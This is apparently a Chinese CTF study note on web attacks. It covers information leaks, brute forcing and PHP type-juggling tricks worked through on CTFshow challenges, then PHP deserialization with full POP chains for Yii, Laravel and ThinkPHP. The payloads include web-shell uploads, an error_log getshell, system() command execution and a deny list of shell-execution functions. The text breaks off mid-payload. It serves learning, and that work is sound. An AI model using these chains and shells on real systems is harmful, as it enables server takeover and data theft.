安全无止境,继续前进吧!
(听说岛上来了几位异世界的大厨?)
信息收集 展开攻击之前的必要步骤;
源码泄露
开发注释未及时删除,按F12可以查看源码获取信息;
有些网页设置了js前台绕过无法按F12,在网址前端添加’view-source:’或者前往浏览器设置关闭javascript即可绕过;
对于缺乏防护的网页,通过以下访问手段可以下载网页源代码;
1 2 url/index.phps url/www.zip
版本控制泄露
敏感数据泄露
robots后台泄露 robots.txt规定了用户能够访问网页的范围; 缺乏防护时,访问robots.txt可以获取到网页关键路径等信息;
探针泄露 开发完成后,未及时删除的探针可能导致信息泄露; 记得删除探针,或者将探针命名为复杂不易猜的名字;
cookie泄露 cookie的本质是一个文档,它会记录用户的访问信息; 如果没有对cookie设置HttpOnly属性,一旦被截获就会造成信息泄露;
数据库恶意下载 mdb文件是早期asp + access架构的数据库文件,文件泄露相当于数据库被脱裤了; 与此同时,备份的sql文件也可能会泄露敏感信息; 网页按F12可以查看到当前网页的cookie键和值;
1 2 url/db/db.mdb url/backup.sql
暴力破解 想要实现网页爆破,你需要学会使用Burpsuite进行重放攻击;
纯数字情形 对于纯数字组合的信息,可以使用Burpsuite设置区间构造字典实施爆破。爆破完成后,通过返回长度可以很容易地确认密码,随后查看响应内容获取信息。
一般情形 如果爆破内容包含了字母以及特殊字符,也可以采用上面的方法,但是比较费时间; 最好调用自己提前准备好的字典,展开有针对性的爆破攻击,后面的操作方法同上。
随机数情形 如果要爆破的信息是用随机数种子动态生成的,就不要头铁爆破了(这里用到了伪随机数漏洞,详见下文)。先在本地搭建好PHP环境或Linux环境,然后调用靶场的随机数种子生成随机数,最后传参。
PHP特性 变量特性
默认为字符串类型;
使用不同进制、不同类型、有无+号表示同一个数,含义相同;
数组绕过 相同变量名不同类型,被认为是不同变量;数组内没有元素时会被认为是空字符;
变量覆盖
弱比较 数组弱比较 intval()函数,用于获取参数的整数值; 该函数转换数组类型时,不关心数组中的内容,只判断数组中有没有元素; 如果$base为0,则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,在PHP中可以不是科学计数法’0e’;
md5弱比较 MD5加密漏洞,不同的字符串可能拥有相同的md5值;
‘0e’绕过 如果MD5值开头为’0e’,那么md5()将会被绕过并返回’NULL’;
特殊浮点数常量 PHP内置了’NAN’’ISF’两个特殊浮点数常量; 将这两个常量转成其他类型之后的md5值与原先的浮点类型md5值相等;
相对地,采用强比较时,本质上是将变量转化为字符串后再进行比较
sha1弱比较 与MD5弱比较类似,不同的字符串可能拥有相同的sha1值;
逻辑弱比较 在进行多条件比较时,PHP只会判断第一个条件是否为真;当第一个条件成立时,不会判断后面的条件;
函数特性
常见功能函数
1 2 3 4 hex2bin (hex) strrev () extract ($_GET ) file_put_contents ()
substr($v2, num) 截掉字符串v2的前num个字符; 如果要保留完整内容。需要在字符串前添加num个字符绕过截断; 当num < 0时,则截掉字符串v2的后num个字符,需要在字符串后面添加;
ereg( string $pattern, string $string[, array &$regs] ) 正则表达式匹配; 如果在’string’中找到’pattern’模式的匹配,则返回字符串的长度,没找到或出错则返回 FALSE; 如果没有传递入可选参数’regs’或者所匹配的字符串长度为’0’,则本函数返回’1’; 该函数存在NULL截断漏洞:当字符串变量出现’%00’时,字符串会被截断,后续字符串内容将不再读取;
forward_static_call_array() 允许用户调用静态方法并且将数组作为参数; 在php当中,默认命名空间是’\‘,所有原生函数和类都在这个命名空间中; 普通调用一个函数,如果直接写函数名调用,调用的时候其实相当于写了一个相对路径;
ini_set($name, $value) 允许修改php.ini的部分配置信息; 该函数可用于异常执行,即自行修改报错信息error_log的保存路径,写入报错信息并包含要执行的PHP代码,从而实现getshell;
1 ?name=error_log=&value=/var /www/html/shell.php
system() 将字符串识别为PHP代码并执行; 该函数存在截断问题:如果字符串中含有’%00’,就会造成截断问题,触发异常;
call_user_func($callback, $args) 把第一个参数作为回调函数调用; 第一个参数callback是被调用的回调函数,其余参数是回调函数的参数;
内置类 反射类 1 2 3 4 ReflectionClass ()ReflectionMethod ()ReflectionFunction ()ReflectionParameter ()
原生类
Exception() / Error() 用于构造XSS、绕过哈希比较;
SoapClient() 一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端; 用于利用SSRF;
SimpleXMLElement() 用于解析XML文档中的元素,可用于利用XXE;
回溯上限 常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机); DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入; NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态;
大多数程序语言都使用NFA作为正则引擎,其中也包括PHP使用的PCRE库; PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit;大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
短路求值 同C语言一样,PHP的逻辑运算也存在短路求值机制: 对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算: x || y 当x为true时,直接跳过,不执行y;
举些例子(以下题目均来自CTFshow) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $flag ="" ; $v1 =$_GET ['v1' ]; $v2 =$_GET ['v2' ]; if (isset ($v1 ) && isset ($v2 )){ if (!ctype_alpha ($v1 )){ die ("v1 error" ); } if (!is_numeric ($v2 )){ die ("v2 error" ); } if (md5 ($v1 )==md5 ($v2 )){ echo $flag ; } }else { echo "where is flag?" ; }?> 考点:MD5弱比较 payload: ?v1=QNKCDZO&v2=240610708
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php include "flag.php" ;highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ["YBB" ])) { if (hash ("md5" , $_GET ["YBB" ]) == $_GET ["YBB" ]) { echo "小伙子不错嘛!!flag给你了:" . $flag ; } else { echo "偶吼,带黑阔被窝抓到了!!!!" ; } } 考点:MD5弱比较 解题思路: 要求YBB参数的md5值与自身的弱比较能够通过,即两者开头均为'0e' 即可; payload: ?YBB=0e215962017
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } }?> 考点:SHA1弱比较 payload: GET部分:?v2=aaO8zKZF POST部分:v1=aaK1STfY
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );?> 解题思路: 中间的两行代码没有作用,因为我们不提交flag参数; payload: GET部分:?HTTP_FLAG=flag POST部分:HTTP_FLAG=flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); }if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }?> payload: GET部分:?n=2 .php POST部分;content=<?php @eval ($_POST [a]);?> GET部分:2 .php POST部分: a=system ('ls' ); a=system ('tac flag36d.php' );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }?> payload: ?v1=21 &v2=var_dump ($ctfshow )&v3=;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 ); if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }?> 考点:逻辑弱比较,敏感字符过滤 payload: ?v1=2333 &v2=echo new Reflectionclass &v3=;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; if (!preg_match ("/.*p.*h.*p.*/i" ,$str )){ file_put_contents ($v3 ,$str ); } else { die ('Sorry' ); } }else { die ('hacker' ); }?> 解题思路: <?= `cat *`; base64编码-> PD89YGNhdCAqYDs= Hex编码-> 5044383959474e6864434171594473 payload: GET部分:v2=115044383959474e6864434171594473 &v3=php: POST部分:v1=hex2bin 访问1 .php查看源代码即可获取flag;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; }if (!($_POST ['flag' ]==$flag )){ die ($error ); }echo "your are good" .$flag ."\n" ;die ($suces );?> 考点:变量覆盖 解题思路: 由代码内容可知:通过GET方法传入的参数名不能为'error' ,通过POST方法传入的参数值不能为'flag' , 所以GET部分只能传入'$suces' ,POST部分只能传入'$error' , 通过变量覆盖,将'$flag' 的值传给'$suces' ,再将'$suces' 的值传给'$error' ,以此绕过检测; payload: GET部分:?suces=flag POST部分:error=suces
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } }?> 考点:内置类 payload1: ?v1=Exception &v2=system ('ls' ) ?v1=Exception &v2=system ('tac fl36dg.txt' ) payload2: ?v1=ReflectionClass&v2=system ('ls' ) ?v1=ReflectionClass&v2=system ('tac fl36dg.txt' ) payload3: ?v1=ReflectionFunction&v2=system ('ls' ) ?v1=ReflectionFunction&v2=system ('tac fl36dg.txt' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); }if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } }?> 解题思路: 使用GLOBALS常量数组绕过词法作用域限制; payload: ?v1=ctfshow&v2=GLOBALS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } }$file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; } 解题思路1 : /proc/self /root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了; payload1: ?file=/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/var /www/html/flag.php 解题思路2 :zip伪协议; payload2: ?file=compress.zlib:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; }$num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; } 解题思路: trim ()函数会去掉num里的%0 a, %0 b, %0 d, %20 , %09 ; PHP强比较的本质是比较两个字符串,弱比较会把传入的num进行类似于intval ()的转化; is_numeric ():检测是不是数字/数字字符串;这里的%0 c是换页符,%09 ,%20 都可以让is_numeric ()函数为true ; payload: ?num=%0 c36
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }?> 解题思路: 在php中,变量名只能由数字、字母、下划线组成,被GET或者POST传入的变量名,如果含有空格、'+' 、'[' 等字符,就会被转化为'_' ; php中有个特性:如果传入'[' ,它被转化为'_' 之后,后面的字符就会被保留下来不会被替换; payload1: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag payload2: CTF_SHOW=&CTF[SHOW.COM=&fl0g=flag_give_me&fun=extract ($_POST )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }?> 解题思路: 在上一题的基础上增加了关键词过滤,echo 失效; 使用extract ()函数,将'POST' 里面的元素转化为变量,实现对'fl0g' 的赋值; payload: CTF_SHOW=&CTF[SHOW.COM=&fl0g=flag_give_me&fun=extract ($_POST )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );highlight_file (__FILE__ );$a = $_GET ['a' ];$b = $_GET ['b' ];function CTFSHOW_36_D ($a ,$b ) { $dis = array ("var_dump" ,"exec" ,"readfile" ,"highlight_file" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ,"" ); $a = strtolower ($a ); if (!in_array ($a ,$dis ,true )) { forward_static_call_array ($a ,$b ); }else { echo 'hacker' ; } }CTFSHOW_36_D ($a ,$b );echo "rlezphp!!!" ; 解题思路: 通过绝对路径调用函数; payload: ?a=\system&b[]=ls; ?a=\system&b[]=tac flag.php;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } 解题思路: $_SERVER ['argv' ][0 ]是脚本名 assert ()函数用于执行字符串中的PHP代码 payload: GET部分: ?$fl0g =flag_give_me POST部分: CTF_SHOW=&CTF[SHOW.COM=&fun=assert ($a [0 ])
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' ) > 0 ){ echo readfile ($f ); } } 考点:目录穿越 解题思路: stripos ()函数用于查找字符串在另一字符串中第一次出现的位置(不区分大小写); 题目要求stripos ($f , 'ctfshow' ),也就是ctfshow在变量f中出现的第一个位置,此时需要构建一个目录,让ctfshow自行索引查找; payload: ?f=/ctfshow/../../../var /www/html/flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; } 解题思路: 要想得到flag,首先必须正则匹配为false ; "/.+?ctfshow/is" 后面的i表示大小写匹配,s表示忽略换行符,单行匹配;; 在不加转义字符的前提下,前面的点表示任意字符,而"+?" 表示非贪婪匹配,即前面的字符至少出现一次; 所以,该正则匹配的意思为:ctfshow前面如果出现任意字符,即匹配准确; 再根据下面的stripos为字符串匹配函数,要求输入的参数必须有"ctfshow" 字符,所以输入的参数只需要满足ctfshow前面不加任意字符即可; payload: f=ctfshow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; } 考点:正则表达式溢出 PoC:<?php echo "f=" .str_repeat ("very" , 250000 )."36Dctfshow" ;?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } } 考点:短路求值 payload: ?username=admin&password=admin&code=admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (2 );extract ($_GET );ini_set ($name ,$value );system ( "ls '" .filter ($_GET [1 ])."'" );function filter ($cmd ) { $cmd = str_replace ("'" ,"" ,$cmd ); $cmd = str_replace ("\\" ,"" ,$cmd ); $cmd = str_replace ("`" ,"" ,$cmd ); $cmd = str_replace ("$" ,"" ,$cmd ); return $cmd ; } 解题思路: 将一句话木马写入报错信息,执行错误日志; payload: ?name=error_log&value=/var /www/html/1 .php&1 =%00 <?php %20 system("tac /flag" );?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]);extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); } 考点:变量覆盖 解题思路: 先将GET方法请求解析成变量,然后再利用extract ()函数将变量从数组中导入到当前的符号表; payload: ?_POST[key1]=36 d&_POST[key2]=36 d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } }if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); }call_user_func ($_POST ['ctfshow' ]); 考点:函数调用、POST数组特性 解题思路: 过滤了':' ,根据call_user_func ()的函数用法将参数按序传入POST数组中即可; payload: ctfshow[0 ]=ctfshow&ctfshow[1 ]=getFlag
PHP反序列化 什么是序列化与反序列化? 为了解决PHP对象传递的问题,即PHP文件在执行结束以后就会将对象销毁,人们决定使用序列化方式将对象转换成可传输格式(字节流); 与之相应的是反序列化:将字节流恢复成对象,即从存储中读取数据并重新创建对象; 在PHP应用中,序列化和反序列化一般用作缓存,比如session缓存、cookie缓存等,其目的是为了方便数据的传输和存储;
操作函数
serialize() 将对象中的成员变量转换成字符串(序列化);
unserialize() 将序列化字符串还原为对象中的成员变量(反序列化);
输出格式:
1 O: 类名长度: "类名" : 变量数: { 变量1 的类型: 变量名1 长度: "变量名1" ;变量1 的类型: 变量1 值长度: "变量1的值" ;变量2 的类型: 变量名2 长度: "变量名2" ;变量2 的类型: 变量2 值长度: "变量2的值" ;……;变量n的类型: 变量名n长度: "变量名n" ;变量n的类型: 变量n值长度: "变量n的值" ;}
其中’O’代表类; 其他类型:s代表字符串,i代表整型,f代表浮点型,b代表布尔类型;
对象区别:
private输出格式:%00类名%00成员名;
protected输出格式:%00*%00成员名;
常用芝士 学习下面的芝士之前,你要先学会构造PoC,这部分手动构造payload会S人的; 这里提供一个基本的PoC模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Test { public $a = 'ThisA' ; protected $b = 'ThisB' ; private $c = 'ThisC' ; public function test1 ( ) { return "this is test1" ; } }$test = new Test ();$sTest = serialize ($test ); $usTest = unserialize ($sTest ); var_dump ($usTest );?>
1 2 3 4 5 输出结果:object (Test)[2 ]public 'a' => string 'ThisA' (length=5 )protected 'b' => string 'ThisB' (length=5 )private 'c' => string 'ThisC' (length=5 )
可见,类的各个成员变量都被还原了,但是类的方法没有被还原,因为执行序列化的时候不保存类的方法; 此外,在传入序列化字符串之前需要进行一次url编码,因为字符串上传到服务器之后会自动执行一次url解码;
魔术方法 一些常用的PHP自动调用方法:
1 2 3 4 5 6 7 8 9 10 11 12 __construct ():__destruct ():__invoke ():__tostring ():__wakeup ():__sleep ():__call ():__callStatic ():__get ():__set ():__isset ():__unset ():
字符串逃逸 Yii反序列化漏洞 Yii2.0.38 之前的版本存在反序列化漏洞,其CVE编号是CVE-2020-15148: 程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令; 2.0.38已修复,官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,__wakeup方法在类被反序列化时会自动被调用, 而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞;
一些Pop链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'phpinfo' ; $this ->id = '1' ; } } }namespace Faker { use yii \rest \IndexAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new IndexAction (), 'run' ]; } } }namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader=new Generator (); } } }namespace { use yii \db \BatchQueryResult ; echo base64_encode (serialize (new BatchQueryResult ())); }
Laravel反序列化漏洞 一些Pop链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php namespace Illuminate \Broadcasting { use Illuminate \Bus \Dispatcher ; use Illuminate \Foundation \Console \QueuedCommand ; class PendingBroadcast { protected $events ; protected $event ; public function __construct ( ) { $this ->events=new Dispatcher (); $this ->event=new QueuedCommand (); } } }namespace Illuminate \Foundation \Console { use Mockery \Generator \MockDefinition ; class QueuedCommand { public $connection ; public function __construct ( ) { $this ->connection=new MockDefinition (); } } }namespace Illuminate \Bus { use Mockery \Loader \EvalLoader ; class Dispatcher { protected $queueResolver ; public function __construct ( ) { $this ->queueResolver=[new EvalLoader (),'load' ]; } } }namespace Mockery \Loader { class EvalLoader { } }namespace Mockery \Generator { class MockConfiguration { protected $name ="feng "; } class MockDefinition { protected $config ; protected $code ; public function __construct ( ) { $this ->code="<?php system('cat /flag');exit()?>" ; $this ->config=new MockConfiguration (); } } }namespace { use Illuminate \Broadcasting \PendingBroadcast ; echo urlencode (serialize (new PendingBroadcast ())); }
ThinkPHP反序列化漏洞 一些Pop链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["lin" =>["calc.exe" ,"calc" ]]; $this ->data = ["lin" =>new Request ()]; } }class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_ajax' => '_ajax' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'lin' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } }namespace think \process \pipes ;use think \model \concern \Conversion ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot ()]; } }namespace think \model ;use think \Model ;class Pivot extends Model { }use think \process \pipes \Windows ;echo base64_encode (serialize (new Windows ()));?>
pickle反序列化漏洞 举些例子(以下题目均来自CTFshow) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } } 解题思路: GET传入变量的同时,需要将'isVip' 的值从false 变成true ; 将类ctfShowUser和变量isVip序列化,再修改isVip的值,通过Cookie传入; payload1: GET部分:?username=xxxxxx&password=xxxxxx COOKIE部分:user=O:11 :"ctfShowUser" :3 :{s:8 :'username' ;s:6 :'xxxxxx' ;s:8 :'password' ;s:6 :'xxxxxx' ;s:5 :"isVip" ;b:1 ;} ->user=O%3 a11%3 